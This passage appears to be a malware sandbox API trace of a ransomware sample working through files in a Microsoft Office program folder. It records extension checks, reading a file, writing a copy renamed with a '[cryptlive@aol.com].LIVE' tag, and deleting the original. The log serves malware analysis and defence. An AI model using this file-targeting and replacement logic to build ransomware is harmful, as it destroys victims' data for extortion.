[0151.784] lstrlenW (lpString=".1cd") returned 4 [0151.784] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0151.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BSTORM.DLL") returned 53 [0151.784] lstrlenW (lpString=".jpg") returned 4 [0151.785] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0151.785] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0151.785] lstrlenW (lpString="CDLMSO.DLL") returned 10 [0151.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\cdlmso.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.813] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=531800) returned 1 [0151.813] CloseHandle (hObject=0x3a0) returned 1 [0151.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\cdlmso.dll")) returned 0x20 [0151.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\cdlmso.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\cdlmso.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0151.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0151.813] lstrlenW (lpString=".doc") returned 4 [0151.813] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0151.814] lstrlenW (lpString=".docx") returned 5 [0151.814] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0151.814] lstrlenW (lpString=".pdf") returned 4 [0151.814] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0151.814] lstrlenW (lpString=".xls") returned 4 [0151.814] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0151.814] lstrlenW (lpString=".xlsx") returned 5 [0151.814] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0151.814] lstrlenW (lpString=".ppt") returned 4 [0151.814] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0151.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0151.814] lstrlenW (lpString=".zip") returned 4 [0151.814] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0151.814] lstrlenW (lpString=".rar") returned 4 [0151.814] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0151.814] lstrlenW (lpString=".bz2") returned 4 [0151.814] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0151.814] lstrlenW (lpString=".7z") returned 3 [0151.814] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0151.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0151.814] lstrlenW (lpString=".dbf") returned 4 [0151.814] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0151.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0151.814] lstrlenW (lpString=".1cd") returned 4 [0151.814] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0151.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0151.814] lstrlenW (lpString=".jpg") returned 4 [0151.815] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0151.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0151.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0151.815] lstrlenW (lpString=".doc") returned 4 [0151.815] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0151.815] lstrlenW (lpString=".docx") returned 5 [0151.815] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0151.815] lstrlenW (lpString=".pdf") returned 4 [0151.815] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0151.815] lstrlenW (lpString=".xls") returned 4 [0151.815] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0151.815] lstrlenW (lpString=".xlsx") returned 5 [0151.815] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0151.815] lstrlenW (lpString=".ppt") returned 4 [0151.815] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0151.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0151.815] lstrlenW (lpString=".zip") returned 4 [0151.815] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0151.815] lstrlenW (lpString=".rar") returned 4 [0151.815] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0151.815] lstrlenW (lpString=".bz2") returned 4 [0151.815] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0151.815] lstrlenW (lpString=".7z") returned 3 [0151.815] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0151.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0151.815] lstrlenW (lpString=".dbf") returned 4 [0151.815] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0151.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0151.828] lstrlenW (lpString=".1cd") returned 4 [0151.828] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0151.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CDLMSO.DLL") returned 53 [0151.828] lstrlenW (lpString=".jpg") returned 4 [0151.842] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0151.842] lstrcmpiW (lpString1=".HLP", lpString2=".LIVE") returned -1 [0151.842] lstrlenW (lpString="CGMIMP32.HLP") returned 12 [0151.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\cgmimp32.hlp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.844] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=31497) returned 1 [0151.844] CloseHandle (hObject=0x3a0) returned 1 [0151.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\cgmimp32.hlp")) returned 0x20 [0151.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\cgmimp32.hlp.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\cgmimp32.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0151.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0151.844] lstrlenW (lpString=".doc") returned 4 [0151.844] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0151.844] lstrlenW (lpString=".docx") returned 5 [0151.844] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0151.844] lstrlenW (lpString=".pdf") returned 4 [0151.844] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0151.844] lstrlenW (lpString=".xls") returned 4 [0151.844] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0151.844] lstrlenW (lpString=".xlsx") returned 5 [0151.845] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0151.845] lstrlenW (lpString=".ppt") returned 4 [0151.845] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0151.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0151.845] lstrlenW (lpString=".zip") returned 4 [0151.845] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0151.845] lstrlenW (lpString=".rar") returned 4 [0151.845] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0151.845] lstrlenW (lpString=".bz2") returned 4 [0151.845] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0151.845] lstrlenW (lpString=".7z") returned 3 [0151.845] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0151.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0151.845] lstrlenW (lpString=".dbf") returned 4 [0151.845] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0151.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0151.845] lstrlenW (lpString=".1cd") returned 4 [0151.845] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0151.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0151.845] lstrlenW (lpString=".jpg") returned 4 [0151.845] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0151.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0151.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0151.845] lstrlenW (lpString=".doc") returned 4 [0151.845] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0151.845] lstrlenW (lpString=".docx") returned 5 [0151.846] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1 [0151.846] lstrlenW (lpString=".pdf") returned 4 [0151.846] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0151.846] lstrlenW (lpString=".xls") returned 4 [0151.846] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0151.846] lstrlenW (lpString=".xlsx") returned 5 [0151.846] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1 [0151.846] lstrlenW (lpString=".ppt") returned 4 [0151.846] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0151.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0151.846] lstrlenW (lpString=".zip") returned 4 [0151.846] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0151.846] lstrlenW (lpString=".rar") returned 4 [0151.846] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0151.846] lstrlenW (lpString=".bz2") returned 4 [0151.846] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0151.846] lstrlenW (lpString=".7z") returned 3 [0151.846] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0151.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0151.846] lstrlenW (lpString=".dbf") returned 4 [0151.846] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0151.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0151.846] lstrlenW (lpString=".1cd") returned 4 [0151.846] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0151.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CGMIMP32.HLP") returned 55 [0151.846] lstrlenW (lpString=".jpg") returned 4 [0151.846] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0151.846] lstrcmpiW (lpString1=".chr", lpString2=".LIVE") returned -1 [0151.846] lstrlenW (lpString="CharSetTable.chr") returned 16 [0151.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.847] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=56514) returned 1 [0151.847] CloseHandle (hObject=0x3a0) returned 1 [0151.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr")) returned 0x20 [0151.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.848] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.848] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0151.849] GetLastError () returned 0x0 [0151.849] ReadFile (in: hFile=0x3a0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0xdcc2, lpOverlapped=0x0) returned 1 [0151.851] WriteFile (in: hFile=0x1dc, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xdcd0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xdcd0, lpOverlapped=0x0) returned 1 [0151.853] ReadFile (in: hFile=0x3a0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.853] WriteFile (in: hFile=0x1dc, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0151.853] SetEndOfFile (hFile=0x1dc) returned 1 [0151.853] CloseHandle (hObject=0x1dc) returned 1 [0151.853] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.853] SetEndOfFile (hFile=0x3a0) returned 1 [0151.856] CloseHandle (hObject=0x3a0) returned 1 [0151.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.857] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr")) returned 1 [0151.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0151.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0151.858] lstrlenW (lpString=".doc") returned 4 [0151.858] lstrcmpiW (lpString1=".doc", lpString2=".chr") returned 1 [0151.858] lstrlenW (lpString=".docx") returned 5 [0151.858] lstrcmpiW (lpString1=".docx", lpString2="e.chr") returned -1 [0151.858] lstrlenW (lpString=".pdf") returned 4 [0151.858] lstrcmpiW (lpString1=".pdf", lpString2=".chr") returned 1 [0151.858] lstrlenW (lpString=".xls") returned 4 [0151.858] lstrcmpiW (lpString1=".xls", lpString2=".chr") returned 1 [0151.858] lstrlenW (lpString=".xlsx") returned 5 [0151.858] lstrcmpiW (lpString1=".xlsx", lpString2="e.chr") returned -1 [0151.858] lstrlenW (lpString=".ppt") returned 4 [0151.858] lstrcmpiW (lpString1=".ppt", lpString2=".chr") returned 1 [0151.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0151.858] lstrlenW (lpString=".zip") returned 4 [0151.858] lstrcmpiW (lpString1=".zip", lpString2=".chr") returned 1 [0151.858] lstrlenW (lpString=".rar") returned 4 [0151.858] lstrcmpiW (lpString1=".rar", lpString2=".chr") returned 1 [0151.858] lstrlenW (lpString=".bz2") returned 4 [0151.858] lstrcmpiW (lpString1=".bz2", lpString2=".chr") returned -1 [0151.858] lstrlenW (lpString=".7z") returned 3 [0151.858] lstrcmpiW (lpString1=".7z", lpString2="chr") returned -1 [0151.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0151.858] lstrlenW (lpString=".dbf") returned 4 [0151.858] lstrcmpiW (lpString1=".dbf", lpString2=".chr") returned 1 [0151.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0151.858] lstrlenW (lpString=".1cd") returned 4 [0151.858] lstrcmpiW (lpString1=".1cd", lpString2=".chr") returned -1 [0151.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0151.858] lstrlenW (lpString=".jpg") returned 4 [0151.858] lstrcmpiW (lpString1=".jpg", lpString2=".chr") returned 1 [0151.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0151.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0151.859] lstrlenW (lpString=".doc") returned 4 [0151.859] lstrcmpiW (lpString1=".doc", lpString2=".chr") returned 1 [0151.859] lstrlenW (lpString=".docx") returned 5 [0151.859] lstrcmpiW (lpString1=".docx", lpString2="e.chr") returned -1 [0151.859] lstrlenW (lpString=".pdf") returned 4 [0151.859] lstrcmpiW (lpString1=".pdf", lpString2=".chr") returned 1 [0151.859] lstrlenW (lpString=".xls") returned 4 [0151.859] lstrcmpiW (lpString1=".xls", lpString2=".chr") returned 1 [0151.859] lstrlenW (lpString=".xlsx") returned 5 [0151.859] lstrcmpiW (lpString1=".xlsx", lpString2="e.chr") returned -1 [0151.859] lstrlenW (lpString=".ppt") returned 4 [0151.859] lstrcmpiW (lpString1=".ppt", lpString2=".chr") returned 1 [0151.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0151.859] lstrlenW (lpString=".zip") returned 4 [0151.859] lstrcmpiW (lpString1=".zip", lpString2=".chr") returned 1 [0151.859] lstrlenW (lpString=".rar") returned 4 [0151.859] lstrcmpiW (lpString1=".rar", lpString2=".chr") returned 1 [0151.859] lstrlenW (lpString=".bz2") returned 4 [0151.859] lstrcmpiW (lpString1=".bz2", lpString2=".chr") returned -1 [0151.859] lstrlenW (lpString=".7z") returned 3 [0151.859] lstrcmpiW (lpString1=".7z", lpString2="chr") returned -1 [0151.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0151.859] lstrlenW (lpString=".dbf") returned 4 [0151.859] lstrcmpiW (lpString1=".dbf", lpString2=".chr") returned 1 [0151.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0151.859] lstrlenW (lpString=".1cd") returned 4 [0151.859] lstrcmpiW (lpString1=".1cd", lpString2=".chr") returned -1 [0151.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59 [0151.859] lstrlenW (lpString=".jpg") returned 4 [0151.859] lstrcmpiW (lpString1=".jpg", lpString2=".chr") returned 1 [0151.859] lstrcmpiW (lpString1=".EXE", lpString2=".LIVE") returned -1 [0151.860] lstrlenW (lpString="CLVIEW.EXE") returned 10 [0151.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\clview.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.861] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=270200) returned 1 [0151.862] CloseHandle (hObject=0x3a0) returned 1 [0151.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\clview.exe")) returned 0x20 [0151.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\clview.exe.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\clview.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0151.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0151.862] lstrlenW (lpString=".doc") returned 4 [0151.862] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0151.862] lstrlenW (lpString=".docx") returned 5 [0151.862] lstrcmpiW (lpString1=".docx", lpString2="W.EXE") returned -1 [0151.862] lstrlenW (lpString=".pdf") returned 4 [0151.862] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0151.862] lstrlenW (lpString=".xls") returned 4 [0151.862] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0151.862] lstrlenW (lpString=".xlsx") returned 5 [0151.862] lstrcmpiW (lpString1=".xlsx", lpString2="W.EXE") returned -1 [0151.862] lstrlenW (lpString=".ppt") returned 4 [0151.862] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0151.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0151.862] lstrlenW (lpString=".zip") returned 4 [0151.863] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0151.863] lstrlenW (lpString=".rar") returned 4 [0151.863] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0151.863] lstrlenW (lpString=".bz2") returned 4 [0151.863] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0151.863] lstrlenW (lpString=".7z") returned 3 [0151.863] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0151.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0151.863] lstrlenW (lpString=".dbf") returned 4 [0151.863] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0151.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0151.863] lstrlenW (lpString=".1cd") returned 4 [0151.863] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0151.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0151.863] lstrlenW (lpString=".jpg") returned 4 [0151.863] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0151.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0151.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0151.863] lstrlenW (lpString=".doc") returned 4 [0151.863] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0151.863] lstrlenW (lpString=".docx") returned 5 [0151.863] lstrcmpiW (lpString1=".docx", lpString2="W.EXE") returned -1 [0151.863] lstrlenW (lpString=".pdf") returned 4 [0151.863] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0151.863] lstrlenW (lpString=".xls") returned 4 [0151.863] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0151.863] lstrlenW (lpString=".xlsx") returned 5 [0151.863] lstrcmpiW (lpString1=".xlsx", lpString2="W.EXE") returned -1 [0151.863] lstrlenW (lpString=".ppt") returned 4 [0151.863] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0151.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0151.863] lstrlenW (lpString=".zip") returned 4 [0151.863] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0151.864] lstrlenW (lpString=".rar") returned 4 [0151.864] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0151.864] lstrlenW (lpString=".bz2") returned 4 [0151.864] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0151.864] lstrlenW (lpString=".7z") returned 3 [0151.864] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0151.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0151.864] lstrlenW (lpString=".dbf") returned 4 [0151.864] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0151.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0151.864] lstrlenW (lpString=".1cd") returned 4 [0151.864] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0151.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53 [0151.864] lstrlenW (lpString=".jpg") returned 4 [0151.864] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0151.864] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0151.864] lstrlenW (lpString="CMAX20.DLL") returned 10 [0151.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\cmax20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0151.865] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=722296) returned 1 [0151.865] CloseHandle (hObject=0x3a0) returned 1 [0151.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\cmax20.dll")) returned 0x20 [0151.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CMAX20.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\cmax20.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.866] CreateFileW (lpFileName="C:\\Program 